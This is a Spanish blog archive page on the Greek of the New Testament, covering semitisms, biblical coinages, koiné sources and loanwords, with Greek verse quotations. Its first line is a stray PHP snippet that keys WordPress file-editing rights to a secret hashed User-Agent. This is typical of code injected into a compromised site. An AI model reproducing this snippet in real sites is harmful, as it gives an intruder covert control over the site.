if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } março 2015 – Texto Bíblico

Semitismos en el Griego del NT

EL IDIOMA DEL NUEVO TESTAMENTO

Semitismos en el Griego del NT

Un semitismo es la traducción literal de una palabra o modismo de los pueblos semitas (descendientes de Sem, hijo de Noé): babilonios, asirios, arameos, árabes y hebreos. Una cantidad de tales expresiones aparecen en el Nuevo Testamento. Por ejemplo:

http://www.bl.uk/manuscripts/Viewer.aspx?ref=add_ms_4951_f001r#
Lucas 20:21 Gospel of Luke, f 71v, 13th century, (Gregory-Aland 449; Scrivener evan. 449; von Soden ε 330): this volume contains the Gospels of Luke and John. http://www.bl.uk/manuscripts/Viewer.aspx?ref=add_ms_4951_f001r#

1. La expresión λαμβάνεις πρόσωπον [lambáneis prosôpon] (de λαμβάνω [lambánô] “tomar” o “recibir”, y  [prosôpon] “rostro”, es una traducción de la expresión hebrea nasa’ fanim, literalmente, “elevar el rostro”, que significa “considerar con favor”, demostrar parcialidad”, “hacer acepción de personas”, “discriminar”, “dejarse llevar por la apariencia”.

Lucas 20:21:
Y le preguntaron, diciendo: Maestro, sabemos que dices y enseñas rectamente, y que no haces acepción de persona, sino que enseñas el camino de Dios con verdad“.

καὶ ἐπηρώτησαν αὐτὸν λέγοντες Διδάσκαλε οἴδαμεν ὅτι ὀρθῶς λέγεις καὶ διδάσκεις καὶ οὐ λαμβάνεις πρόσωπον ἀλλ᾽ ἐπ᾽ ἀληθείας τὴν ὁδὸν τοῦ θεοῦ διδάσκεις

 2. La expresión στόματα μαχαίρης [stómata machaírês] – (de στόμα [stoma] “boca”, y μάχαιρα [máchaira] “espada”) es la misma que la forma hebrea pi jéreb, literalmente, “boca de la espada”, que realmente significa “filo de la espada”, o “espada afilada”.

Hebreos 11:34:
“apagaron fuegos impetuosos, evitaron filo de espada, sacaron fuerzas de debilidad, se hicieron fuertes en batallas, pusieron en fuga ejércitos extranjeros”.

ἔσβεσαν δύναμιν πυρός ἔφυγον στόματα μαχαίρης ἐδυναμώθησαν ἀπὸ ἀσθενείας ἐγενήθησαν ἰσχυροὶ ἐν πολέμῳ παρεμβολὰς ἔκλιναν ἀλλοτρίων

3. El término γέεννα [géenna] es la transliteración de las palabras hebreas ge hinnom, “el valle de Hinnom”, o ge’ ben hinnom, “valle del hijo de Hinom” (Josué 15:8), expresión que no podía entender un griego que no estuviera familiarizado con la topografía de Jerusalén. Para los judíos de Palestina ese valle se convirtió en un símbolo del lugar del castigo final para los impíos, y los escritores del Nuevo Testamento usaron ese término con ese sentido.

Mateo 5:22:
“Pero yo os digo que cualquiera que se enoje contra su hermano, será culpable de juicio; y cualquiera que diga: Necio, a su hermano, será culpable ante el concilio; y cualquiera que le diga: Fatuo, quedará expuesto al infierno de fuego”.

ἐγὼ δὲ λέγω ὑμῖν ὅτι πᾶς ὁ ὀργιζόμενος τῷ ἀδελφῷ αὐτοῦ ἔνοχος ἔσται τῇ κρίσει ὃς δ’ ἂν εἴπῃ τῷ ἀδελφῷ αὐτοῦ ῥακά ἔνοχος ἔσται τῷ συνεδρίῳ ὃς δ’ ἂν εἴπῃ μωρέ ἔνοχος ἔσται εἰς τὴν γέενναν τοῦ πυρός

Este valle está al sur y al oeste de Jerusalén y se encuentra con el valle de Cedrón, inmediatamente al sur de la ciudad de David y el estanque de Siloé. El impío rey Acaz parece haber iniciado en los días de Isaías la bárbara costumbre pagana de quemar los niños, ofrendándolos a Moloc en un alto llamado Tofet, en el valle de Hinom (2 Crónicas 28:3). Manasés, nieto de Acaz, restableció esa práctica (2 Crónicas 33:1, 6; cf. Jeremías 32:35). Años después, el buen rey Josías profanó ceremonialmente los altos del valle de Hinom donde se había realizado ese atroz tipo de culto (2 Reyes 23:10), con lo cual se acabaron esos sacrificios. Como castigo por ése y otros males, Dios advirtió a su pueblo que el valle de Hinom un día sería el “Valle de la Matanza” por causa de los “cuerpos muertos de este pueblo” (Jeremías 7:32-33; 19:6; cf. Isaías 30:33).

Por eso los fuegos de Hinom se convirtieron en un símbolo del fuego consumidor del último gran día de juicio y del castigo de los impíos (cf. Isaías 66:24). Según las ideas escatológicas judías, derivadas en parte de la filosofía griega, γέεννα [géenna] era el lugar donde se reservaban las almas de los impíos bajo castigo hasta el día del juicio final y de las retribuciones. La tradición que afirma que el valle de la Gehenna (forma latina del nombre) era el lugar donde se quemaban los desperdicios, y que por lo tanto era una figura del fuego del día final, parece haberse originado con el rabí Kimchi, erudito judío de los siglos XII y XIII. La antigua literatura judía no contiene nada de esto. Los rabinos más antiguos basaron la idea de la Gehenna como un símbolo del fuego del último día en Isaías 31:9 “Y de miedo pasará su fortaleza, y sus príncipes, con pavor, dejarán sus banderas, dice Jehová, cuyo fuego está en Sion, y su horno en Jerusalén“.

4. El frecuente uso de υἱός [huiós], “hijo”, acompañado de un concepto abstracto en el caso genitivo, también tiene su origen en hebreo y en arameo. (En muchos pasajes no se nota este uso de la palabra en la traducción española. Por ejemplo, Ezequiel 25:4 dice “los orientales”, cuando el texto hebreo expresa “hijos de oriente”. En el hebreo y en la RVR-1960 de Joel 3:6 dice”los hijos de los griegos”, pero en la  LBLA y DHH  se tradujo “los griegos”). Los escritores evangélicos usaron esta palabra con frecuencia al reproducir las palabras de Jesús, quien sin duda hablaba en arameo. Estos escritores, al redactar los dichos de Jesús en griego tan fielmente como les fue posible, usaron términos tales como:

οἱ υἱοὶ τοῦ νυμφῶνος [hoi uioí tou numphônos] (lit: “los hijos de la cámara nupcial”) “los que están de bodas” (Mateo 9:15; Marcos 2:19; Lucas 5:34) = “los invitados a la boda” (BJ).

υἱοὶ βροντῆς [huioí brontês] “hijos del trueno” (Marcos 3:17) = temperamento vehemente y genio fiero.

υἱὸς εἰρήνης [huiós eirênês] “hijo de paz” (Lucas 10:6) = persona pacífica. Este hebraísmo describe al que es digno de recibir la paz que se le desea, y también se siente inclinado a recibir, y hospedar a los misioneros y a escuchar su mensaje.

οἱ υἱοὶ τοῦ αἰῶνος τούτου [hoi huioí tou aiônos toútou] “los hijos de este siglo” (Lucas 16:8; 20:34) = los que viven para este mundo. – τοὺς υἱοὺς τοῦ φωτὸς [tous huious tou phôtos] “los hijos de la luz” (Lucas 16:8) = los que viven para el mundo venidero.

τῆς ἀναστάσεως υἱοί [tês anastáseôs huioí]  “hijos de la resurrección” (Lucas 20:36) = los que serán resucitados.

υἱοὶ φωτός [huioí phôtós] “hijos de luz” (Juan 12:36) = los que viven para el mundo venidero.

Se nota claramente la influencia de la Septuaginta (LXX) en estos semitismos, porque los autores del Nuevo Testamento al escribir sobre temas espirituales inconscientemente se expresaban en el lenguaje del Antiguo Testamento en griego, la Biblia de su tiempo. Algunas peculiaridades lingüísticas que no se encuentran en el griego secular penetraron en esa forma en el Nuevo Testamento. Por ejemplo, la palabra hebrea ‘im es una conjunción que generalmente significa “si” (condicional), pero a veces es una partícula que indica una pregunta, algo así como un signo de interrogación. En otros casos – en juramentos o maldiciones – es una negación enfática que corresponde con una expresión como “ciertamente no”. Sin embargo, en la LXX se usa regularmente el griego ει [ei] como equivalente del hebreo ‘im, aunque ει [ei] normalmente sólo tiene el significado de “si” (condicional) y nunca esas otras acepciones. Las traducciones al español de Hebreos 3:11; 4:3 ocultan esta construcción especial:
No entrarán en mi reposo” (RV -1960)
εἰ  εἰσελεύσονται  εἰς  τὴν  κατάπαυσίν  μου
  ei eiseleiusontai   eis  tên   katapausin  mou
 ¡Si    entrarán           en   el        reposo     de mí!
Algunas palabras griegas del Nuevo Testamento, no son más que transliteraciones de términos hebreos, tales como Aleluya [“alabad al Señor”] (Gr.  Ἁλληλουϊά [hallêlouïá] Apocalipsis 19:1); amén [“sea así”]” (Gr. ἀμήν [amên] Mateo 6:13); maná, el pan del cielo dado a los hijos de Israel en el desierto, Gr. μάννα [mánna] Juan 6:31). Sabaoth, Gr. Σαβαώθ “[Sabaôth], “huestes”, “ejércitos” (Romanos 9:29; Santiago 5:4); hosana [“salva ahora”] Gr. ὡσαννά [hôsanná] (Mateo 21:9); y muchas otras. La forma en que estas palabras se han vuelto tan comunes en castellano ilustra el proceso por el cual primero se popularizaron en griego.
En el Nuevo Testamento también hay unas pocas expresiones arameas, tales como Abba [“padre”]” (Marcos 14:36); Efata [“sé abierto”]” (Marcos 7: 34); Corbán [“una ofrenda dedicada”]” (Marcos 7:11); Maranatha [“el Señor viene”]” (1 Corintios 16:22, RVA).

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EL IDIOMA DEL NUEVO TESTAMENTO

El griego, idioma universal en el tiempo del Nuevo Testamento

El idioma griego común

El koiné y los otros idiomas

Fuentes para el estudio del griego del NT

Algunas peculiaridades del Griego del NT

Semitismos en el Griego del NT

Diferencias literarias en los libros del NT

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Algunas peculiaridades del griego del NT

 EL IDIOMA DEL NUEVO TESTAMENTO

Algunas peculiaridades del Griego del NT

No puede afirmarse que todas las expresiones y palabras del Nuevo Testamento hayan pertenecido al idioma griego común. Algunas tienen una procedencia claramente hebrea o aramea, y otras son creaciones nuevas que sólo se encuentran en la Biblia. Estas últimas palabras a veces son llamadas voces Biblicae, “palabras bíblicas”. A principios del siglo XX los eruditos las contaban por centenares, y con frecuencia creían que eran creaciones del apóstol Pablo y de otros escritores bíblicos; pero como muchas han sido descubiertas en papiros y en otros documentos antiguos, sólo hay en el Nuevo Testamento unas pocas de esas palabras que todavía no se han hallado en escritos extrabíblicos.

Algunos ejemplos de esas palabras son:

– 1. El substantivo femenino ἀντιμισθία [antimisthía] “recompensa”, “retribución”. Aparece dos veces en el NT:

(1) Romanos 1:27
y de igual modo también los hombres, dejando el uso natural de la mujer, se encendieron en su lascivia unos con otros, cometiendo hechos vergonzosos hombres con hombres, y recibiendo en sí mismos la retribución debida a su extravío.  – τὴν ἀντιμισθίαν [tên antimisthían] acus. sing.

2 corintios 6:13 ἀντιμισθίαν [antimisthían]

(2) 2 Corintios 6:13
Pues, para corresponder del mismo modo (como a hijos hablo), ensanchaos también vosotros. – τὴν ἀντιμισθίαν [tên antimisthían] acus. sing.

– 2. El verbo ἀποκαταλλάσσω [apokatallássô] “reconciliar”. Aparece 3 veces en el NT:

(1) Efesios 2:16
y mediante la cruz reconciliar con Dios a ambos en un solo cuerpo, matando en ella las enemistades.
ἀποκαταλλάξῃ [apokatalláxê] Aoristo Subjuntivo Activo, 3ª sing. 

(2) Colosenses 1:20
y por medio de él reconciliar consigo todas las cosas, así las que están en la tierra como las que están en los cielos, haciendo la paz mediante la sangre de su cruz.
ἀποκαταλλάξαι [apokatallaxai] Aoristo del Infinitivo Activo.

(3) Colosenses 1:21
Y a vosotros también, que erais en otro tiempo extraños y enemigos en vuestra mente, haciendo malas obras, ahora os ha reconciliado (“reconcilió”).
ἀποκατήλλαξεν [apokatêllaxen] Aoristo del Indicativo Activo, 3ª sing.

Algunas palabras presentan problemas de interpretación, aunque aparecen en fuentes no bíblicas. Por ejemplo, la palabra ἀλλοτριοεπίσκοπος [allotrioepískopos] -Textus Receptus- o ἀλλοτριεπίσκοπος [allotriepískopos] -WH/Nestlé-Aland- (1 Pedro 4:15), que aunque se encuentra fuera de la Biblia, es de significado tan oscuro que los traductores han sugerido los siguientes cinco significados:

(1) “el que recibe u oculta bienes robados”,
(2) “un espía policial”,
(3) “un informante”,
(4) “el que se entromete en asuntos de otros”, y
(5) “un rebelde”.

La palabra ἐπιούσιος [epioúsios], traducida “cada día” en el Padrenuestro (Mateo 6:11), se halla en documentos extra bíblicos, pero su significado es aún incierto, hasta el punto de que los lexicógrafos han propuesto cuatro interpretaciones diferentes:

(1) “necesario para la vida”,
(2) “para este día”,
(3) “para el día siguiente” y
(4) “para el futuro”.

Fuentes para el estudio del griego koiné

 EL IDIOMA DEL NUEVO TESTAMENTO

Fuentes para el estudio del griego koiné

Aunque debe hacerse todavía un estudio mucho más amplio para poder comprender bien el griego koiné en todos sus aspectos lingüísticos, los resultados de años de estudio han aclarado muchas dificultades. Algunos elementos se destacan entre los que los eruditos han usado en estudios comparativos para explicar el koiné.

Gregory-Aland P66 (Dublin) (a.k.a. Dublin, Ireland, Chester Beatty Library, BP XIX)
Gregory-Aland P66 (Dublin)
(a.k.a. Dublin, Ireland, Chester Beatty Library, BP XIX)

Fuentes para el estudio del griego koiné
Las obras helenísticas escritas en prosa, como las de Polibio (m. c. 120 a.C.), escritas antes de que el dialecto ático experimentara un resurgimiento en los círculos literarios del mundo de habla griega, han ayudado a los eruditos a comprender el koiné. Algunos escritores del período imperial – tales como Diodoro (m. c. 20 a. C.) y Plutarco (m. c. 120 d. C.) – también escribieron en el idioma griego del pueblo común. Son valiosas especialmente las obras de Filón (c. 20 a. C. – 50 d. C.), ya que, como Pablo, fue un judío que adquirió su erudición fuera de Palestina y escribió en griego. La Carta apócrifa de Aristeas (de fecha incierta) y las obras del historiador judío Josefo (m. c. 100 d. C.) también sirven para establecer comparaciones en los estudios lingüísticos del koiné.

Además de las fuentes documentales literarias hay numerosos documentos oficiales preservados en piedra o en papiro que tienen las características del lenguaje común, aunque – como ocurre en obras de esa naturaleza – se emplean algunos términos legales estereotipados y expresiones de la misma naturaleza.

La traducción del Antiguo Testamento conocida como la Septuaginta (LXX) proporciona una de las principales fuentes para entender el koiné. Como la LXX era una traducción y no una obra originalmente escrita en griego, introdujo en el mundo de habla griega muchas expresiones y conceptos hebreos y arameos. De ese modo proporcionó a la iglesia cristiana primitiva una terminología teológica en griego que ya era familiar entre los judíos helenísticos, y así se convirtió en un medio en las manos de los apóstoles para proclamar las enseñanzas de Cristo a los judíos de la dispersión, en palabras que ellos entendían en todas partes.Además, desde Mesopotamia hasta Italia la LXX era la Biblia de millones de judíos. Por eso la mayor parte de las citas del Antiguo Testamento que aparecen en el Nuevo son reproducidas de la LXX. Como resultado de todos estos factores, el Antiguo Testamento en griego (koiné) ejerció una poderosa influencia en la forma lingüística del Nuevo Testamento.

La literatura griega cristiana del siglo II también sirve como un material de comparación para comprender el Nuevo Testamento en griego. Entre las obras de este período están los escritos de algunos de los primeros padres de la iglesia, los evangelios apócrifos, los hechos de los apóstoles, también apócrifos, y las leyendas acerca de mártires.

Ostracón

 

Sin embargo, la principal ayuda para comprender las expresiones del Nuevo Testamento ha sido proporcionada por los escritos acerca de la vida cotidiana, encontrados en papiros y ostracones. Estos documentos descubiertos por millares en los basureros de las antiguas ciudades egipcias y como relleno en los vientres de los animales momificados que se adoraban, proporcionan un cuadro acertado de la vida diaria y el lenguaje del pueblo común de Egipto en los tiempos del mundo helenístico y romano. Se trata de decretos oficiales y reglamentos, peticiones de particulares, quejas y pedidos, archivos de transacciones comerciales, licencias matrimoniales, certificados de divorcio, testamentos y cartas de toda especie imaginable. Las cartas escritas en estilo natural y sin artificios tienen un valor especial, pues dan a conocer una multitud de expresiones usadas en la vida cotidiana de la antigüedad. Muchas de ellas fueron escritas por esposos a sus esposas, por hijos a sus padres, por amigos, esclavos, soldados, oficiales y estudiantes.

Es lamentable que estos documentos, que se han convertido en verdaderos tesoros para una mejor comprensión del Nuevo Testamento, sólo se hayan conservado en el clima seco de Egipto. Si tuviéramos un material semejante procedente de Asia Menor, Siria o Grecia, no hay duda de que proyectaría más luz sobre el koiné, pues probablemente había diferencias dialectales en esos territorios.

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El koiné y los otros idiomas

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Diferencias literarias en los libros del NT

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El koiné y los otros idiomas

EL IDIOMA DEL NUEVO TESTAMENTO

 El koiné y los otros idiomas

El Nuevo Testamento revela que el idioma griego común también era rico en palabras de origen extranjero.

Del latín tomó: centurio, “capitán”, que aparece como κεντυρίων [kenturíôn] en el Nuevo Testamento (Marcos 15: 39), y que a veces se usa en vez de la legítima palabra griega ἑκατοντάρχης [hekatontárchês];

Representación de un Centurión romano del 70 a.C.

census, “impuesto”,  κῆνσος [kênsos] (Mateo 17: 25); titulus “título”, τίτλος [títlos] (Juan 19: 19, 20).

Además del latín, otros idiomas prestaron palabras a los escritores del Nuevo Testamento, como γάζα [gáza] “tesoro” (Hechos 8:27), que viene del persa; κύμινον [kúminon], “comino” (Mato 23:23), del malayo; βύσσος [bússos], “lino” (Lucas 16:19, Apocalipsis 18:12), del fenicio; βάϊον [báïon], “rama de palmera” (Juan 12:13), del egipcio; νάρδος [nárdos], “nardo”, del sánscrito; y ῥέδη [rhédê], “carruaje de cuatro ruedas” (Apocalipsis 18:13), del celta.

Recibieron un nuevo significado muchas palabras que son del griego clásico. Por ejemplo, λαλιά [laliá], que en la literatura clásica significa “vano parloteo”, “locuacidad”, recibió la nueva definición de “dicho”, “lenguaje” (Mateo 26:73; Juan 4:42; 8:43); δαιμονίον [daimoníon], el “dios” de los autores clásicos, llegó a significar “espíritu malo”; y κοίμησις [koímêsis], “sueño natural”, se le dio la acepción de “muerte” (en Juan 11:13 aparece en el caso genitivo τῆς κοιμήσεως  [tês koimêseôs] “del reposo”).

En el diccionario del koiné entraron algunas palabras procedentes de la administración civil y militar romana. Entre ellas, ῥάβδουχος [rhábdouchos], literalmente “que lleva la vara”, el lictor (“alguacil”, Hechos 16:35 – caso acusativo τοὺς ῥαβδούχους [toús rhabdoúchous]) que llevaba las insignias romanas ante los magistrados; y χιλίαρχος [chilíarchos], (Juan 18:12) el comandante de un millar de soldados, que era el tribunus militum de la jerarquía militar romana.

Reproducciõn de un Tribuno Militar

 

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El idioma griego común

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ἡ κοινὴ διάλεκτος [hê koinê diálektos]

El idioma griego común

En fonética, gramática, sintaxis y vocabulario, el griego del Nuevo Testamento difiere del de las obras clásicas. En los siglos XVII y XVIII comenzó un arduo debate de erudición entre los que propugnaban varias explicaciones para este problema.

Los hebraístas atribuían estas diferencias a la influencia del hebreo, pues generalmente se creía que todos los autores del Nuevo Testamento habían sido judíos. Se afirmaba que aunque esos hombres podían escribir en griego, pensaban en hebreo, y por eso eran influidos por su lenguaje semítico. Por lo tanto, se clasificaban como hebraísmos todas las palabras y formas del Nuevo Testamento que no se encuentran en el griego clásico. Pero los puristas explicaban que, bajo la inspiración del Espíritu Santo, los autores del Nuevo Testamento habían usado el griego más puro posible. Mientras sólo se conocieron las obras de los autores clásicos y el NT, no podía resolverse el problema mediante comparaciones con otras obras griegas.

Hacia fines del siglo XIX comenzó una nueva era con el descubrimiento y la publicación de documentos no literarios, escritos mayormente en papiro pero también en alfarería (ostracones). Estos documentos eran cartas y esquelas de gente común, anuncios públicos, facturas y recibos, contratos y licencias. El griego de estos documentos es sorprendentemente parecido al del Nuevo Testamento.

Adolf DeissmannEl mérito de haber hecho este descubrimiento decisivo corresponde a Adolf Deissmann, quien en los 40 años posteriores a 1895 demostró en numerosos artículos y libros que el lenguaje de los papiros y ostracones es el mismo del Nuevo Testamento.

Esto significa que los apóstoles escribían en el idioma del pueblo, y no en el de los historiadores, comediógrafos y científicos, lenguaje que hubiera sido completamente extraño para el pueblo común.

Light from the Ancient EastLa obra de Adolf Deissmann, Light From the Ancient East ¹, presenta muchos ejemplos para demostrar este hecho. Porque era común entre los que hablaban el griego en el Mediterráneo, este idioma del pueblo recibió el nombre de ἡ κοινὴ διάλεκτος [hê koiné diélektos], o κοινή [koinê] “koiné” (común) en su forma abreviada, para distinguirlo de diversos dialectos griegos, como el ático, dórico, jónico o eólico. El koiné es una mezcla de estos cuatro dialectos, pero depende más del ático que de los otros.

Un estudio del Nuevo Testamento revela que cuando el ático se transformó en koiné, abandonó algunas de sus características peculiares. Por ejemplo, la forma ττ [tt] del ático se volvió σσ [ss] (θάλαττα [thálatta], “mar”, se convirtió en θάλασσα [thalassa]), y ρρ [rr] se transformó en ρσ [rs] (ἄρρην [arrên], “varón”, dio lugar a ἄρσεν [ársen]). Se extinguió la clásica forma verbal dual, y el modo optativo (forma verbal que expresa deseo) así como el llamado “futuro ático”, que rara vez aparecen en koiné.

El dialecto koiné tomó algunas palabras y expresiones del jónico y el dórico, y evolucionó creando otras independientemente de cualquier dialecto griego. Entre estas últimas se encuentran los imperfectos εἴχομεν [eíchomen], “teníamos” y εἷχον [eîchon], “tenían”, del verbo ἔχω [échô], “tener” (“yo tengo”), y el imperfecto ἔλεγον [élegon], “decían”, de λέγω [légô], “decir” (“yo digo”).
En koiné también se formaron muchas palabras nuevas uniendo sustantivos y verbos usados comúnmente con preposiciones.

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EL IDIOMA DEL NUEVO TESTAMENTO

P46

El griego, idioma universal

en el tiempo

del Nuevo Testamento

Por consenso casi unánime, se cree que los 27 libros del Nuevo Testamento fueron escritos originalmente en griego.

El griego era un idioma muy difundido en el Imperio Romano en los días de Cristo y los apóstoles. Se había extendido por todo el Medio Oriente hacia fines del siglo IV a. C. con la expansión del imperio de Alejandro. Todos sus sucesores fueron gobernantes griegos que fomentaron la difusión del idioma y la cultura de Grecia. El griego llegó a ser tan ampliamente conocido y se arraigó tan profundamente, que los romanos – que crearon su imperio en el siglo I a. C., desde el Atlántico hasta Persia – no pudieron suprimirlo.

El latín predominó en el norte de África, España e Italia; pero no tuvo importancia en el mundo oriental. Aun en Italia, donde el latín era la lengua materna, la gente educada sobre todo hablaba griego, como su segundo idioma. Por ejemplo, la Epístola de Clemente, el documento cristiano más antiguo fuera del Nuevo Testamento, fue escrita en griego aunque se escribió en Roma.

Entre los centenares de papiros descubiertos en las ruinas de la casa de un erudito de Herculano – ciudad destruida por la erupción del Vesubio en el año 79 d. C.- había menos de una docena de manuscritos en latín; todos los demás estaban en griego.

Sin embargo, además del griego se usaban otros idiomas en diferentes partes del imperio. Por ejemplo, los judíos de Palestina hablaban arameo; los habitantes de Listra, “lengua licaónica” (Hechos 14:11) y, por supuesto, los habitantes de Roma hablaban latín.

Juan 19:19, 20

Esta multiplicidad de idiomas se refleja en la inscripción trilingüe colocada sobre la cruz del Calvario (cf. Juan 19:19, 20) escrita en (1) arameo (llamado hebreo en el Nuevo Testamento), el idioma del país, en (2) griego, el idioma difundido por todo el imperio y en (3) latín, el idioma oficial de la administración romana.

Una situación similar existió en la Palestina moderna durante el período del mandato británico, antes de la primera guerra judío-árabe de 1948, cuando, por ejemplo, los sellos de correos se imprimían en tres idiomas: hebreo, árabe e inglés. Más de un país del mundo tiene dos o más idiomas oficiales; los del Mediterráneo oriental no fueron, ni son, excepciones.

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